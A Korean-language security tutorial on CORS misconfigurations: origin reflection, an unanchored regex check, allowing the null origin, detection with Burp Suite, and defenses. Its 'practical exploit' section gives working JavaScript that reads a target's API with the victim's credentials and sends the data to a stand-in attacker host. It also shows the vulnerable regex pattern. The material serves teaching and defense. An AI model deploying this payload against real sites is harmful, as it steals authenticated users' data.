Skip to main content

CORS 설정 오류와 실전 익스플로잇

CORS(Cross-Origin Resource Sharing)는 브라우저가 다른 오리진의 리소스 접근을 제어하는 메커니즘이다. 잘못 설정하면 인증된 사용자 데이터를 공격자가 탈취할 수 있다.

취약한 패턴들

1. Origin 반사(Reflection)

요청의 Origin 헤더를 그대로 Access-Control-Allow-Origin에 반영하는 경우:

GET /api/userinfo HTTP/1.1
Origin: https://evil.attacker.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.attacker.com
Access-Control-Allow-Credentials: true

credentials: true와 조합되면 세션 쿠키까지 함께 전송되어 계정 탈취가 가능하다.

2. 불완전한 정규식 검증

# 취약한 코드
if re.match(r'https://legit\.com', origin):
allow_origin(origin)

https://legit.com.evil.com도 통과된다. 반드시 $ 앵커를 붙여야 한다.

3. null Origin 허용

Access-Control-Allow-Origin: null

<iframe sandbox>data: URI에서 발생하는 null 오리진을 허용하는 경우 로컬 HTML 파일로도 공격 가능하다.

실전 익스플로잇

취약한 서버를 발견했다면:

<!-- 공격자 서버의 페이지 -->
<script>
fetch('https://target.com/api/secret', {
credentials: 'include'
})
.then(r => r.text())
.then(data => {
fetch('https://attacker.com/steal?d=' + btoa(data));
});
</script>

피해자가 이 페이지를 방문하면 target.com의 인증 정보가 공격자 서버로 전송된다.

탐지 방법

Burp Suite로 Origin 헤더를 조작해 응답을 확인한다:

Origin: https://evil.com
Origin: null
Origin: https://target.com.evil.com

응답 헤더에서 오리진이 반영되는지, Allow-Credentials: true가 함께 붙는지 체크하면 된다.

방어

  • 화이트리스트 방식으로 허용 오리진을 명시적으로 관리
  • null 오리진 절대 허용 금지
  • 민감한 API에는 CSRF 토큰 이중 검증
  • Vary: Origin 헤더 추가로 캐시 오염 방지